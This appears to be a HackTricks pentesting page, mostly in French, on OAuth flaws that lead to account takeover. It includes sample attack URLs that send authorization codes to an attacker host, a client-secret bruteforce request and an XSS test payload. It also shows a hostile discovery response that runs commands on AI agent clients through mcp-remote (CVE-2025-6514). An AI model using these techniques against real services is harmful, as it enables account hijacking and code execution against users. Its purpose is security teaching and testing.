OAuth to Account takeover
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
OAuth offers various versions, with foundational insights accessible at OAuth 2.0 documentation. This discussion primarily centers on the widely used OAuth 2.0 authorization code grant type, providing an cadre d’autorisation qui permet à une application d’accéder ou d’effectuer des actions sur le compte d’un utilisateur dans une autre application (the authorization server).
Considérons un site hypothétique https://example.com, conçu pour afficher tous vos posts sur les réseaux sociaux, y compris les posts privés. Pour ce faire, OAuth 2.0 est utilisé. https://example.com demandera votre permission pour accéder à vos posts sur les réseaux sociaux. Par conséquent, un écran de consentement apparaîtra sur https://socialmedia.com, décrivant les permissions demandées et le développeur effectuant la demande. Après votre autorisation, https://example.com obtient la capacité de consulter vos posts en votre nom.
Il est essentiel de comprendre les composants suivants dans le framework OAuth 2.0 :
- resource owner: Vous, en tant que user/entity, autorisez l’accès à votre ressource, comme les posts de votre compte sur les réseaux sociaux.
- resource server: Le serveur qui gère les requêtes authentifiées après que l’application a obtenu un
access tokenau nom duresource owner, par exemple https://socialmedia.com. - client application: L’application qui demande l’autorisation du
resource owner, telle que https://example.com. - authorization server: Le serveur qui délivre les
access tokensà laclient applicationaprès l’authentification réussie duresource owneret l’obtention de l’autorisation, par exemple https://socialmedia.com. - client_id: Un identifiant public et unique pour l’application.
- client_secret: Une clé confidentielle, connue uniquement de l’application et de l’authorization server, utilisée pour générer des
access_tokens. - response_type: Une valeur spécifiant le type de token demandé, comme
code. - scope: Le niveau d’accès que la
client applicationdemande auresource owner. - redirect_uri: L’URL vers laquelle l’utilisateur est redirigé après l’autorisation. Cela doit généralement correspondre à l’URL de redirection pré-enregistrée.
- state: Un paramètre pour conserver des données pendant la redirection de l’utilisateur vers et depuis l’authorization server. Son unicité est critique pour servir de mécanisme de protection CSRF.
- grant_type: Un paramètre indiquant le type de grant et le type de token à retourner.
- code: Le code d’autorisation provenant de l’authorization server, utilisé conjointement avec
client_idetclient_secretpar la client application pour obtenir unaccess_token. - access_token: Le token que la client application utilise pour les requêtes API au nom du
resource owner. - refresh_token: Permet à l’application d’obtenir un nouveau
access_tokensans redemander à l’utilisateur.
Flux
Le flux OAuth réel se déroule comme suit :
- Vous naviguez vers https://example.com et sélectionnez le bouton « Intégrer aux réseaux sociaux ».
- Le site envoie alors une requête à https://socialmedia.com demandant votre autorisation pour permettre à l’application de https://example.com d’accéder à vos posts. La requête est structurée comme :
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
- Une page de consentement vous est alors présentée.
- Après votre approbation, Social Media envoie une réponse au
redirect_uricontenant les paramètrescodeetstate:
https://example.com?code=uniqueCode123&state=randomString123
- https://example.com utilise ce
code, avec sonclient_idet sonclient_secret, pour effectuer une requête côté serveur afin d’obtenir unaccess_tokenen votre nom, permettant d’accéder aux permissions auxquelles vous avez consenti :
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
- Enfin, le processus se conclut lorsque https://example.com utilise votre
access_tokenpour effectuer un appel API vers Social Media afin d’accéder
Vulnérabilités
Open redirect_uri
Per RFC 6749 §3.1.2, le serveur d’autorisation doit rediriger le navigateur uniquement vers des pre-registered, exact redirect URIs. Toute faiblesse ici permet à un attaquant d’envoyer une victime via une URL d’autorisation malveillante afin que l’IdP livre le code (et le state) de la victime directement vers un endpoint contrôlé par l’attaquant, qui peut alors l’échanger et récolter des tokens.
Flux d’attaque typique :
- Créer
https://idp.example/auth?...&redirect_uri=https://attacker.tld/callbacket l’envoyer à la victime. - La victime s’authentifie et approuve les scopes.
- L’IdP redirige vers
attacker.tld/callback?code=<victim-code>&state=...où l’attaquant enregistre la requête et échange immédiatement le code.
Bugs de validation courants à tester :
- Aucune validation – toute URL absolue est acceptée, entraînant le vol instantané du code.
- Vérifications faibles par sous-chaîne/regex sur l’hôte – contournement possible avec des lookalikes tels que
evilmatch.com,match.com.evil.com,match.com.mx,matchAmatch.com,evil.com#match.com, oumatch.com@evil.com. - IDN homograph mismatches – la validation se fait sur la forme punycode (
xn--), mais le navigateur redirige vers le domaine Unicode contrôlé par l’attaquant. - Chemins arbitraires sur un hôte autorisé – en pointant
redirect_urivers/openredirect?next=https://attacker.tldou tout endpoint XSS/contenu-utilisateur, cela leaks le code soit via des redirections en chaîne, les Referer headers, ou du JavaScript injecté. - Contraintes de répertoire sans normalisation – des motifs comme
/oauth/*peuvent être contournés avec/oauth/../anything. - Wildcard subdomains – accepter
*.example.comsignifie que tout takeover (dangling DNS, S3 bucket, etc.) fournit immédiatement un callback valide. - Callbacks non-HTTPS – laisser passer des URI
http://donne aux attaquants réseau (Wi‑Fi, proxy d’entreprise) l’occasion d’attraper le code en transit.
Passez également en revue les paramètres auxiliaires de type redirect (client_uri, policy_uri, tos_uri, initiate_login_uri, etc.) et le document de découverte OpenID (/.well-known/openid-configuration) pour d’autres endpoints susceptibles d’hériter des mêmes bugs de validation.
Fuite de tokens de redirection sur des domaines allowlistés avec des sous-chemins contrôlés par l’attaquant
Verrouiller le redirect_uri sur des « domaines owned/first-party » n’aide pas si un domaine allowlisté expose des chemins ou contextes d’exécution contrôlés par l’attaquant (plateformes d’apps legacy, namespaces utilisateurs, uploads CMS, etc.). Si le flux OAuth/federated login returns tokens in the URL (query ou hash), un attaquant peut :
- Démarrer un flux légitime pour mint un pré-token (par ex., un
etokendans un flux Accounts Center/FXAuth en plusieurs étapes). - Envoyer à la victime une URL d’autorisation qui met le domaine allowlisté comme
redirect_uri/base_urimais pointe lenext/chemin vers un namespace contrôlé par l’attaquant (par ex.,https://apps.facebook.com/<attacker_app>). - Après que la victime approuve, l’IdP redirige vers le chemin contrôlé par l’attaquant avec des valeurs sensibles dans l’URL (
token,blob, codes, etc.). - Le JavaScript sur cette page lit
window.locationet exfiltre les valeurs malgré que le domaine soit « trusted ». - Rejouer les valeurs capturées contre des endpoints privilégiés en aval qui n’attendent que les tokens fournis via la redirection.
Exemples provenant du flux FXAuth :
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>
# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>
XSS dans l’implémentation du redirect
Comme mentionné dans ce rapport de bug bounty https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html il est possible que la redirect URL soit reflétée dans la réponse du serveur après l’authentification de l’utilisateur, étant vulnérable à XSS. Payload possible à tester:
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
CSRF - Mauvaise gestion du paramètre state
Le paramètre state est le CSRF token du Authorization Code flow : le client doit générer une valeur cryptographiquement aléatoire par instance de navigateur, la persister quelque part que seul ce navigateur peut lire (cookie, local storage, etc.), l’envoyer dans la requête d’autorisation, et rejeter toute réponse qui ne renvoie pas la même valeur. Chaque fois que la valeur est statique, prévisible, optionnelle ou non liée à la session de l’utilisateur, l’attaquant peut terminer son propre flux OAuth, capturer la requête finale contenant ?code= (sans l’envoyer), puis contraindre plus tard un navigateur victime à rejouer cette requête pour que le compte de la victime soit lié au profil de l’attaquant chez l’identity provider.
Le schéma de replay est toujours le même :
- L’attaquant s’authentifie auprès de l’IdP avec son compte et intercepte le dernier redirect contenant
code(et éventuellementstate). - Il abandonne cette requête, conserve l’URL, et abuse ensuite de n’importe quel primitive CSRF (lien, iframe, formulaire auto-soumis) pour forcer le navigateur victime à la charger.
- Si le client n’applique pas
state, l’application consomme le résultat d’autorisation de l’attaquant et connecte l’attaquant au compte de l’application de la victime.
Checklist pratique pour la gestion de state pendant les tests :
- Missing
stateentirely – si le paramètre n’apparaît jamais, tout le login est vulnérable à CSRF. statenot required – supprimez-le de la requête initiale ; si l’IdP délivre quand même des codes que le client accepte, la défense est opt-in.- Returned
statenot validated – altérez la valeur dans la réponse (Burp, MITM proxy). Accepter des valeurs non concordantes signifie que le token stocké n’est jamais comparé. - Predictable or purely data-driven
state– beaucoup d’apps placent des chemins de redirection ou des blobs JSON dansstatesans y ajouter d’entropie, permettant aux attaquants de deviner des valeurs valides et de rejouer des flows. Toujours préfixer/suffixer une forte entropie avant d’encoder les données. statefixation – si l’app permet aux utilisateurs de fournir la valeurstate(par ex. via des URLs d’autorisation craftées) et la réutilise tout au long du flow, un attaquant peut verrouiller une valeur connue et la réutiliser sur plusieurs victimes.
PKCE peut compléter state (surtout pour les public clients) en liant l’autorization code à un code verifier, mais les clients web doivent malgré tout suivre state pour prévenir les bugs CSRF/liens de compte entre utilisateurs.
Pre Account Takeover
- Sans vérification de l’adresse e-mail lors de la création du compte : Les attaquants peuvent créer de manière préventive un compte en utilisant l’adresse e-mail de la victime. Si la victime utilise plus tard un service tiers pour se connecter, l’application pourrait involontairement lier ce compte tiers au compte pré-créé de l’attaquant, conduisant à un accès non autorisé.
- Exploitation d’une vérification d’adresse e-mail laxiste sur OAuth : Les attaquants peuvent abuser de services OAuth qui ne vérifient pas les e-mails en s’inscrivant chez eux puis en changeant l’e-mail du compte pour celui de la victime. Cette méthode présente un risque d’accès non autorisé similaire au premier scénario, mais via un vecteur différent.
Disclosure of Secrets
Le client_id est intentionnellement public, mais le client_secret ne doit jamais être récupérable par les utilisateurs finaux. Les déploiements Authorization Code qui embarquent le secret dans des APK mobiles, des clients desktop ou des single-page apps donnent en pratique cette credential à quiconque peut télécharger le package. Inspectez toujours les public clients en :
- Décompressant l’APK/IPA, l’installateur desktop ou l’app Electron et en recherchant (
grep)client_secret, des blobs Base64 décodables en JSON, ou des endpoints OAuth codés en dur. - Revue des fichiers de config embarqués (plist, JSON, XML) ou des chaînes décompilées à la recherche de credentials client.
Une fois que l’attaquant extrait le secret, il lui suffit de voler n’importe quel code d’autorisation d’une victime (via un redirect_uri faible, des logs, etc.) pour frapper /token indépendamment et générer des access/refresh tokens sans impliquer l’app légitime. Considérez les public/native clients comme incapables de garder des secrets — ils devraient plutôt s’appuyer sur PKCE (RFC 7636) pour prouver la possession d’un code verifier par instance plutôt qu’un secret statique. Pendant les tests, confirmez si PKCE est obligatoire et si le backend rejette effectivement les échanges de tokens qui omettent soit le client_secret ou un code_verifier valide.
Client Secret Bruteforce
Vous pouvez essayer de bruteforcer le client_secret d’un service provider avec l’identity provider afin d’essayer de voler des comptes.
La requête pour BF peut ressembler à :
POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close
code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]
Referer/Header/Location artifacts leaking Code + State
Once the client has the code and state, if they surface in location.href or document.referrer and are forwarded to third parties, they leak. Two recurring patterns:
- Classic Referer leak: after the OAuth redirect, any navigation that keeps
?code=&state=in the URL will push them into the Referer header sent to CDNs/analytics/ads. - Telemetry/analytics confused deputy: some SDKs (pixels/JS loggers) react to
postMessageevents and then send the currentlocation.href/referrerto backend APIs using a token supplied in the message. If you can inject your own token into that flow (e.g., via an attacker-controlled postMessage relay), you can later read the SDK’s API request history/logs and recover the victim’s OAuth artifacts embedded in those requests.
Access Token Stored in Browser History
The core guarantee of the Authorization Code grant is that access tokens never reach the resource owner’s browser. When implementations leak tokens client-side, any minor bug (XSS, Referer leak, proxy logging) becomes instant account compromise. Always check for:
- Tokens in URLs – if
access_tokenappears in the query/fragment, it lands in browser history, server logs, analytics, and Referer headers sent to third parties. - Tokens transiting untrusted middleboxes – returning tokens over HTTP or through debugging/corporate proxies lets network observers capture them directly.
- Tokens stored in JavaScript state – React/Vue stores, global variables, or serialized JSON blobs expose tokens to every script on the origin (including XSS payloads or malicious extensions).
- Tokens persisted in Web Storage –
localStorage/sessionStorageretain tokens long after logout on shared devices and are script-accessible.
Any of these findings usually upgrades otherwise “low” bugs (like a CSP bypass or DOM XSS) into full API takeover because the attacker can simply read and replay the leaked bearer token.
Everlasting Authorization Code
Authorization codes must be short-lived, single-use, and replay-aware. When assessing a flow, capture a code and:
- Test the lifetime – RFC 6749 recommends minutes, not hours. Try redeeming the code after 5–10 minutes; if it still works, the exposure window for any leaked code is excessive.
- Test sequential reuse – send the same
codetwice. If the second request yields another token, attackers can clone sessions indefinitely. - Test concurrent redemption/race conditions – fire two token requests in parallel (Burp intruder, turbo intruder). Weak issuers sometimes grant both.
- Observe replay handling – a reuse attempt should not only fail but also revoke any tokens already minted from that code. Otherwise, a detected replay leaves the attacker’s first token active.
Combining a replay-friendly code with any redirect_uri or logging bug allows persistent account access even after the victim completes the legitimate login.
Authorization/Refresh Token not bound to client
If you can get the authorization code and redeem it for a different client/app, you can takeover other accounts. Test for weak binding by:
- Capturing a
codefor app A and sending it to app B’s token endpoint; if you still receive a token, audience binding is broken. - Trying first-party token minting endpoints that should be restricted to their own client IDs; if they accept arbitrary
state/app_idwhile only validating the code, you effectively perform an authorization-code swap to mint higher-privileged first-party tokens. - Checking whether client binding ignores nonce/redirect URI mismatches. If an error page still loads SDKs that log
location.href, combine with Referer/telemetry leaks to steal codes and redeem them elsewhere.
Any endpoint that exchanges code → token must verify the issuing client, redirect URI, and nonce; otherwise, a stolen code from any app can be upgraded to a first-party access token.
Happy Paths, XSS, Iframes & Post Messages to leak code & state values
AWS Cognito
In this bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ you can see that the token that AWS Cognito gives back to the user might have enough permissions to overwrite the user data. Therefore, if you can change the user email for a different user email, you might be able to take over others accounts.
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}
Pour plus d’infos détaillées sur la façon d’abuser d’AWS Cognito, consultez AWS Cognito - Unauthenticated Enum Access.
Abusing other Apps tokens
Comme mentioned in this writeup, les flux OAuth qui s’attendent à recevoir le token (et non un code) pourraient être vulnérables s’ils ne vérifient pas que le token appartient à l’application.
Ceci s’explique parce qu’un attacker pourrait créer une application supporting OAuth and login with Facebook (par exemple) dans sa propre application. Ensuite, une fois qu’une victim se connecte via Facebook dans l’attackers application, l’attaquant pourrait obtenir le OAuth token of the user given to his application, and use it to login in the victim OAuth application using the victims user token.
Caution
Donc, si l’attacker parvient à faire en sorte que l’utilisateur accède à sa propre OAuth application, il pourra prendre le contrôle du victims account dans des applications qui attendent un token et ne vérifient pas si le token a été accordé à leur app ID.
Two links & cookie
Selon this writeup, il était possible d’amener une victim à ouvrir une page avec un returnUrl pointant vers l’attackers host. Cette info serait stored in a cookie (RU) et, lors d’une later step, le prompt demandera au user s’il veut donner l’accès à cet attackers host.
Pour bypasser ce prompt, il était possible d’ouvrir un onglet pour initier le Oauth flow qui définirait ce cookie RU en utilisant le returnUrl, fermer l’onglet avant que le prompt ne s’affiche, puis ouvrir un nouvel onglet sans cette valeur. Ensuite, le prompt won’t inform about the attackers host, mais le cookie serait réglé sur celui-ci, donc le token will be sent to the attackers host lors de la redirection.
Prompt Interaction Bypass
Comme expliqué dans this video, certaines implémentations OAuth permettent d’indiquer le paramètre GET prompt à None (&prompt=none) pour prevent users being asked to confirm l’accès donné dans un prompt sur le web si ils sont déjà connectés à la plateforme.
response_mode
Comme explained in this video, il peut être possible d’indiquer le paramètre response_mode pour indiquer où vous voulez que le code soit fourni dans l’URL finale :
response_mode=query-> Le code est fourni à l’intérieur d’un paramètre GET :?code=2397rf3gu93fresponse_mode=fragment-> Le code est fourni à l’intérieur du fragment de l’URL#code=2397rf3gu93fresponse_mode=form_post-> Le code est fourni à l’intérieur d’un formulaire POST avec un input appelécodeet la valeurresponse_mode=web_message-> Le code est envoyé dans un post message :window.opener.postMessage({"code": "asdasdasd...
Clickjacking OAuth consent dialogs
Les dialogues de consentement/connexion OAuth sont des cibles idéales pour le clickjacking : s’ils peuvent être encadrés, un attacker peut superposer des graphismes personnalisés, masquer les vrais boutons et tromper les users pour qu’ils approuvent des scopes dangereux ou lient des comptes. Construisez des PoCs qui :
- Load the IdP authorization URL inside an
<iframe sandbox="allow-forms allow-scripts allow-same-origin">. - Use absolute positioning/opacity tricks to align fake buttons with the hidden Allow/Approve controls.
- Optionally pre-fill parameters (scopes, redirect URI) so the stolen approval immediately benefits the attacker.
Lors des tests, vérifiez que les pages IdP émettent soit X-Frame-Options: DENY/SAMEORIGIN soit une Content-Security-Policy: frame-ancestors 'none' restrictive. Si aucune n’est présente, démontrez le risque avec des outils comme NCC Group’s clickjacking PoC generator et enregistrez à quel point une victim autorise facilement l’app de l’attacker. Pour d’autres idées de payload, voir Clickjacking.
OAuth ROPC flow - 2 FA bypass
Selon this blog post, il s’agit d’un OAuth flow qui permet de se connecter via username et password. Si, pendant ce flux simple, un token avec accès à toutes les actions que l’user peut effectuer est renvoyé, il est possible de bypasser le 2FA en utilisant ce token.
ATO on web page redirecting based on open redirect to referrer
Ce blogpost explique comment il était possible d’abuser d’un open redirect basé sur la valeur du referrer pour abuser OAuth en vue d’un ATO. L’attaque était :
- Victim access the attackers web page
- The victim opens the malicious link and an opener starts the Google OAuth flow with
response_type=id_token,code&prompt=noneas additional parameters using as referrer the attackers website. - In the opener, after the provider authorizes the victim, it sends them back to the value of the
redirect_uriparameter (victim web) with 30X code which still keeps the attackers website in the referer. - The victim website trigger the open redirect based on the referrer redirecting the victim user to the attackers website, as the
respose_typewasid_token,code, the code will be sent back to the attacker in the fragment of the URL allowing him to tacke over the account of the user via Google in the victims site.
SSRFs parameters
Check this research Pour plus de détails sur cette technique.
Dynamic Client Registration in OAuth sert de vecteur moins évident mais critique pour des vulnérabilités de sécurité, spécifiquement pour des attaques Server-Side Request Forgery (SSRF). Cet endpoint permet aux serveurs OAuth de recevoir des détails sur des client applications, y compris des URLs sensibles qui pourraient être exploitées.
Key Points:
- Dynamic Client Registration est souvent mappé sur
/registeret accepte des détails commeclient_name,client_secret,redirect_uris, et des URLs pour les logos ou JSON Web Key Sets (JWKs) via des requêtes POST. - Cette fonctionnalité respecte les spécifications décrites dans RFC7591 et OpenID Connect Registration 1.0, qui incluent des paramètres potentiellement vulnérables au SSRF.
- Le processus d’enregistrement peut involontairement exposer les serveurs au SSRF de plusieurs façons :
logo_uri: Une URL pour le logo de la client application qui pourrait être récupérée par le serveur, déclenchant un SSRF ou conduisant à un XSS si l’URL est mal gérée.jwks_uri: Une URL vers le document JWK du client, qui si elle est manipulée malicieusement, peut pousser le serveur à effectuer des requêtes sortantes vers un serveur contrôlé par l’attaquant.sector_identifier_uri: Référence un tableau JSON deredirect_uris, que le serveur pourrait récupérer, créant une opportunité SSRF.request_uris: Liste des request URIs autorisées pour le client, qui peuvent être exploitées si le serveur récupère ces URIs au démarrage du processus d’autorisation.
Exploitation Strategy:
- Le SSRF peut être déclenché en enregistrant un nouveau client avec des URLs malicieuses dans des paramètres comme
logo_uri,jwks_uriousector_identifier_uri. - Bien que l’exploitation directe via
request_urispuisse être atténuée par des contrôles de whitelist, fournir unrequest_uripré-enregistré et contrôlé par l’attaquant peut faciliter le SSRF pendant la phase d’autorisation.
OAuth/OIDC Discovery URL Abuse & OS Command Execution
La recherche sur CVE-2025-6514 (impactant des clients mcp-remote tels que Claude Desktop, Cursor ou Windsurf) montre comment dynamic OAuth discovery devient une primitive RCE chaque fois que le client transmet les metadata IdP directement au système d’exploitation. Le serveur MCP distant renvoie un authorization_endpoint contrôlé par l’attaquant lors de l’échange de discovery (/.well-known/openid-configuration ou tout RPC de metadata). mcp-remote ≤0.1.15 appelait alors le gestionnaire d’URL du système (start, open, xdg-open, etc.) avec n’importe quelle chaîne reçue, de sorte que tout scheme/chemin supporté par l’OS s’exécutait localement.
Attack workflow
- Point the desktop agent to a hostile MCP/OAuth server (
npx mcp-remote https://evil). The agent receives401plus metadata. - The server answers with JSON such as:
HTTP/1.1 200 OK
Content-Type: application/json
{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
- Le client lance le gestionnaire OS pour l’URI fourni. Windows accepte des payloads comme
file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux acceptentfile:///Applications/Calculator.app/...ou même des schemes personnalisés tels quecmd://bash -lc '<payload>'s’ils sont enregistrés. - Parce que cela se produit avant toute interaction utilisateur, le simple fait de configurer le client pour qu’il parle au serveur de l’attaquant entraîne l’exécution de code.
Comment tester
- Ciblez tout desktop/agent compatible OAuth qui effectue la discovery via HTTP(S) et ouvre localement les endpoints retournés (Electron apps, CLI helpers, thick clients).
- Interceptez ou hébergez la réponse de discovery et remplacez
authorization_endpoint,device_authorization_endpoint, ou des champs similaires parfile://,cmd://, des chemins UNC, ou d’autres schemes dangereux. - Vérifiez si le client valide le scheme/host. L’absence de validation entraîne une exécution immédiate dans le contexte de l’utilisateur et prouve la vulnérabilité.
- Répétez avec différents schemes pour cartographier l’ensemble de la surface d’attaque (p.ex.,
ms-excel:,data:text/html,, custom protocol handlers) et démontrer la portée cross-platform.
OAuth providers Race Conditions
If the platform you are testing is an OAuth provider read this to test for possible Race Conditions.
Mutable Claims Attack
In OAuth, the sub field uniquely identifies a user, but its format varies by Authorization Server. To standardize user identification, some clients use emails or user handles. However, this is risky because:
- Some Authorization Servers do not ensure that these properties (like email) remain immutable.
- In certain implementations—such as “Login with Microsoft”—the client relies on the email field, which is user-controlled by the user in Entra ID and not verified.
- An attacker can exploit this by creating their own Azure AD organization (e.g., doyensectestorg) and using it to perform a Microsoft login.
- Even though the Object ID (stored in sub) is immutable and secure, the reliance on a mutable email field can enable an account takeover (for example, hijacking an account like victim@gmail.com).
Client Confusion Attack
In a Client Confusion Attack, an application using the OAuth Implicit Flow fails to verify that the final access token is specifically generated for its own Client ID. An attacker sets up a public website that uses Google’s OAuth Implicit Flow, tricking thousands of users into logging in and thereby harvesting access tokens intended for the attacker’s site. If these users also have accounts on another vulnerable website that does not validate the token’s Client ID, the attacker can reuse the harvested tokens to impersonate the victims and take over their accounts.
Scope Upgrade Attack
The Authorization Code Grant type involves secure server-to-server communication for transmitting user data. However, if the Authorization Server implicitly trusts a scope parameter in the Access Token Request (a parameter not defined in the RFC), a malicious application could upgrade the privileges of an authorization code by requesting a higher scope. After the Access Token is generated, the Resource Server must verify it: for JWT tokens, this involves checking the JWT signature and extracting data such as client_id and scope, while for random string tokens, the server must query the Authorization Server to retrieve the token’s details.
Redirect Scheme Hijacking
In mobile OAuth implementations, apps use custom URI schemes to receive redirects with Authorization Codes. However, because multiple apps can register the same scheme on a device, the assumption that only the legitimate client controls the redirect URI is violated. On Android, for instance, an Intent URI like com.example.app:// is matched based on the scheme and optional filters defined in an app’s intent-filter. Since Android’s intent resolution can be broad—especially if only the scheme is specified—an attacker can register a malicious app with a carefully crafted intent filter to hijack the authorization code. This can enable an account takeover either through user interaction (when multiple apps are eligible to handle the intent) or via bypass techniques that exploit overly specific filters, as detailed by Ostorlab’s assessment flowchart.
Références
- Leaking FXAuth token via allowlisted Meta domains
- https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1
- https://portswigger.net/research/hidden-oauth-attack-vectors
- https://blog.doyensec.com/2025/01/30/oauth-common-vulnerabilities.html
- An Offensive Guide to the OAuth 2.0 Authorization Code Grant
- OAuth Discovery as an RCE Vector (Amla Labs)
- Leaking fbevents: OAuth code exfiltration via postMessage trust leading to Instagram ATO
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


